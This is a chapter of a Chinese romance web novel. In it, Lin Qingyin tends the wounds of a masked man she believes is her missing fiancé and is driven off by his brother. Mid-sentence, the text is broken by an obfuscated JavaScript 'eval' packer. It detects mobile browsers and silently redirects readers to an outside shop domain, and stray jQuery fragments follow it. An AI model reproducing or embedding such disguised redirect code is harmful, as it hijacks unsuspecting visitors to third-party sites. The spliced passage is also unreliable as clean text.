25. 第 25 章
    他的声音低沉冰冷,比陌生人还要疏离。

    周景寒从来不舍得用这般语气对她说话。

    林轻音身子微颤,双脚像是被钉在了原地,动都不敢动,只能嗫嚅道:“对不起,是我误会了。”

    她往后退了两步,回到了起初站着的地方,目光却紧盯着眼前这个男人,怎么也挪不开。

    她的视线落在男人裸露在外的手背上,那里布满了一道道伤痕,有棍棒击打留下的淤青红肿,也有刀划伤后皮开肉绽、尚未愈合的狰狞创口,看着就让人心惊胆战。

    恍惚间,她好像置身在林家的前厅,眼睁睁看着周景寒身中剧毒后倒下,被一群下人毫不留情地拳打脚踢,直至浑身皮开肉绽。

    “疼吗?”她嗓音沙哑,泪珠滚落,掉进燃烧正旺的火堆里,眨眼间便化作了灰烬,消散得无影无踪。

    陆舟仿若没听见她的话一般,眼睛只盯着那跳跃的火光,过了好一会儿,才淡淡地开口:“都过去了。”

    过去了?是什么意思?

    她还没来得及细问,就听陆瑾厉声呵斥道:“跟你有什么关系?再啰嗦,你自己走去京城!”

    林轻音吓得一哆嗦,赶忙闭了嘴,大气都不敢出。

    一阵风猛地灌进这破旧的庙宇,吹得火苗左摇右晃,差点就要熄灭。

    陆舟遭不住风,剧烈地咳嗽起来,一阵接着一阵,撕心裂肺一般。

    陆瑾面上担忧,急忙大步上前,细细查看他的伤势,嘴里还埋怨着:“你这是何苦呢,好好的药,怎么就先给她了!”

    陆瑾刻意压低了声音,但这破庙空间狭小,他嗓音又浑厚,林轻音一字不落地落进了耳朵里。

    她看向地上的那只药碗,又抬眸看向戴着面具的陆舟,他身子这般虚弱,分明比她更需要这药来抵御风寒。

    林轻音又湿了眼眶,心头莫名泛起担忧。明明与这人相识不久,可这种揪心的感觉,好像潜意识里,她已经把眼前的男子当成了景寒哥哥。

    风还在呼啸着,陆瑾扶着陆舟换了个避风的位置,可这破庙窗户残破,冷风依旧一个劲儿往里灌。

    林轻音咬着下唇,站起身走到陆舟面前,挺起单薄的身子,努力为他挡住窗外肆虐的冷风。

    “不必。”陆舟声音微弱,透着几分无力拒绝的虚弱。

    林轻音充耳不闻,执拗地站在那儿,纹丝不动。

    身后的陆舟沉默了片刻,终是没再言语。

    这一夜,漫长而难熬,好不容易盼到天亮,陆瑾和陆舟准备出发。

    他俩是骑马赶路的,此刻收拾停当,便准备启程。

    林轻音站在两匹马跟前,眼巴巴地瞧着,可他俩丝毫没有要捎上自己的意思,只能尴尬地站在原地,手足无措。

    陆瑾面色冷峻,瞥了她一眼,冷冷道:“姑娘,京城的路可不好走,我劝你还是趁早回家去吧。”

    林轻音脑袋摇得像拨浪鼓:“我要去京城,找我的未婚夫。”

    两人闻言皆是一愣,陷入沉默。良久,陆瑾叹了口气,朝她伸出手:“上马。”

    林轻音有没有回应。

    她抬眸看向陆舟,带着几分期许问道:“我能坐你的马吗?”

    陆舟睨了她一眼,语气淡漠:“不方便。”话落,双腿一夹马腹,缰绳一甩,那马便扬蹄飞奔而去。

    林轻音一慌,转头看向陆瑾。

    陆瑾却斜眼看她,面露讥讽:“不想坐我的马,你就自己跑吧。”

    两匹马皆扬长而去,林轻音心一慌,赶忙拔腿跟上。

    可这山路崎岖坎坷,她没走几步就摔了好几跤,膝盖、手掌擦破了皮。

    “景寒哥哥!”她大声喊着,却得不到回应。只能改口道,“陆大哥,等等我!”

    虚弱的声音回荡在山间小路上。

    连一贯冷酷的陆瑾都忍不住回头看了她一眼,可陆舟却仿若没听见,头也不回地策马前行。

    林轻音渐渐没了力气,脚步越来越沉,最后实在撑不住,整个人虚脱地瘫跪在地上,望着渐行渐远的马儿,满心的难过如潮水般涌上心头,又堵在嗓子眼,一句话也说不出来。

    “他一定不是景寒哥哥,景寒哥哥才舍不得我这般受苦。”林轻音喃喃自语着,满心的失落与绝望将她彻底淹没。

    她无力地坐在地上,尖锐的石子划破了衣服,刺在肌肤上,可她却浑然不觉,脑海里只剩绝望在翻涌。

    忽然,马蹄声起,尘土飞扬。

    林轻音惊喜地抬头:“景寒哥哥!”

    来者,却是陆瑾。他骑着马折返回来,眉头紧皱,满脸嫌弃,嘴里吐出两个字:“上马。”

    林轻音愣了一下,还没回过神。陆瑾见她发呆,眉头皱得更紧,翻身下马,二话不说,一把将她抱上马背。

    骏马长嘶一声,再度疾驰而去,林轻音下意识搂住陆瑾的腰,稳住身子。

    待与陆舟汇合后,三人一同前行。

    林轻音没注意到,陆舟的目光在她搂着陆瑾腰部的手臂上停留了一瞬,又迅速移开了。

    赶了一天的路,终于抵达一个村子。三人寻到一户农家,好说歹说借住了下来。

    陆舟伤势严重,伤口得及时换药,可一路奔波,药已所剩无几。陆瑾瞧着天色还不算太晚,便打算去镇上买药,匆匆交代几句,便出了门。

    林轻音则在厨房里忙着煎药,待药煎好,她小心翼翼端着药碗,朝着陆舟的屋子走去。刚走到门边,就听见里头传来“哐当”一声,像是有什么东西摔落在地。

    林轻音心里一紧,也顾不上礼节,猛地推开房门:“你还好吗?”

    待看清屋内情形,她一下子愣住了。只见陆舟正慌乱地伸手拿面具往脸上戴,上身赤膊着,那遍布身躯的伤痕就这么毫无遮掩地暴露在她眼前,稍微一动,伤口便渗出血来,看着触目惊心。

    林轻音的嗓子瞬间发颤,舌尖像是打了结,话都说不利索。她目光下移,瞧见那滚落至脚边的金疮药瓶,心里明白,定是他疼得厉害,才连药瓶都拿不住。

    “我帮你上药吧。”她带着哭腔,声音里满是心疼。

    “不必。”陆舟沉声道,语气依旧冷淡,透着拒绝的意味。

    林轻音却仿若没听见,她把药碗端到陆舟面前,轻声哄着:“你先把药喝了。”

    她一边说着,一边走到陆舟身后坐下,打开了金疮药瓶。

    “别动。”陆舟声音暗哑,透着几分隐忍的痛苦,他想躲开,可身子稍稍一动,浑身伤口就像被撕裂一般,疼得他冷汗直冒。

    林轻音心疼极了,忙伸手按住他的肩膀,又怕弄疼他伤口,赶忙缩了回来,嘴里念叨着:“我只是帮你上个药,上完就走,不会打扰你的。”

    说着,她用手指抠出药膏,动作轻柔得不能再轻柔,小心翼翼地涂抹在他后背的伤口上。

    那背上除了棍棒打出的大片红肿,一道从肩头直划到

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14329478|150928||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    腰间的刀伤更是醒目,深可见骨。

    林轻音几乎忍不住哭了出来,他到底是怎么在这般重伤下活下来的呀?

    陆舟后背微微一颤,紧咬着牙关,拼命忍着,硬是没回头。

    林轻音吸了吸鼻子,强忍着泪,继续专注地涂抹药膏,手指不经意划过他的腰际。

    忽然间,像是霹雳闪过她的脑海,她颤抖着双手在他腰间比划。腰宽,二尺一,肩宽,三尺。

    熟悉的数字,一模一样的尺寸。

    她不死心,伸出手指沿着他的腰肌,将上半身全部打量了一遍,全部都对得上!

    林轻音的身子猛地一颤,泪水夺眶而出,泣不成声:“景寒哥哥,你说,这世上会有身形尺寸一模一样的人吗?”

    陆舟后背一僵,甚至忘记了反驳。

    “景寒哥哥,你疼吗?”她几乎确定眼前的人就是她的景寒哥哥。

    可陆舟依旧否认:“你误会了。”

    “你敢发誓不认识我吗?”

    “我不知道你在胡说什么。”他冰凉的语气中藏着一丝慌乱。

    林轻音满心不解,眼泪汪汪地望着他:“你为什么不认我?”

    恰在这时,陆瑾买药回来,刚进门就听见这话,眉头一皱,呵斥道:“出去,这儿没你的事!”

    林轻音不肯走,双腿像是生了根,怎么也不肯挪动步子,目光紧盯着背过身去的周景寒:“我找了你一路啊。”

    陆瑾见状,上前一步,一把揪住她的胳膊,像拎小鸡似的把她扔到门外,语气冰冷且带着警告:“我警告你,离他远点!”

    林轻音仰起头,瞪着通红的双眼看着他:“我不,他是我的景寒哥哥,我绝不离开!”

    陆瑾挠了挠头:“你发什么疯!”

    林轻音红着眼:“我只想知道为什么!”

    陆瑾见状,冷哼一声,满脸不屑:“首先,他是我弟弟,不是你哥哥。其次,如果你的景寒哥哥也浑身是伤、面目全非,跟我弟弟一样,你不应该感到愧疚吗?你敢摸着良心说他受伤跟你没有关系吗?”

    林轻音像是被戳中了痛处,张了张嘴,半晌才颤颤巍巍道:“那是我爹做的事,我……我不知道。”

    陆瑾步步紧逼:“你爹为什么要害他?”

    林轻音身形一颤,眼神闪躲。

    陆瑾却不依不饶:“因为你爹想给你找个好夫婿,不想让周景寒娶你,是不是?”

    林轻音低垂着头,不敢否认。

    “所以,你爹从头到尾都是为了你,对不对?”

    林轻音彻底哑口无言,满心的愧疚与慌乱涌上心头。

    陆舟眯起眼睛,看着她,脸上满是厌恶:“所以,你凭什么觉得,你爹做的事和你无关?”

    林轻音呆立当场,脑海一片空白,是啊,她怎么就理所当然地认为,坏事都是林宏干的,和自己一点关系没有呢?

    陆瑾仍不罢休,继续在她伤口上撒盐:“要是没有你,他这会儿早就在京城了。可你呢,一次又一次害他,如今还从临川一路追上来害他?”

    “我没有!”林轻音大声辩驳,却被陆瑾无情地打断。

    “那你能做什么?”陆瑾逼视着她,“到了京城,还得他照顾你,你不就是继续拖他后腿吗?”

    林轻音愣在原地,无言以对。

    陆瑾瞥了她一眼,从身上解下钱袋子,“啪”地扔到她脚下:“拿着钱,滚远点,别再祸害他了。”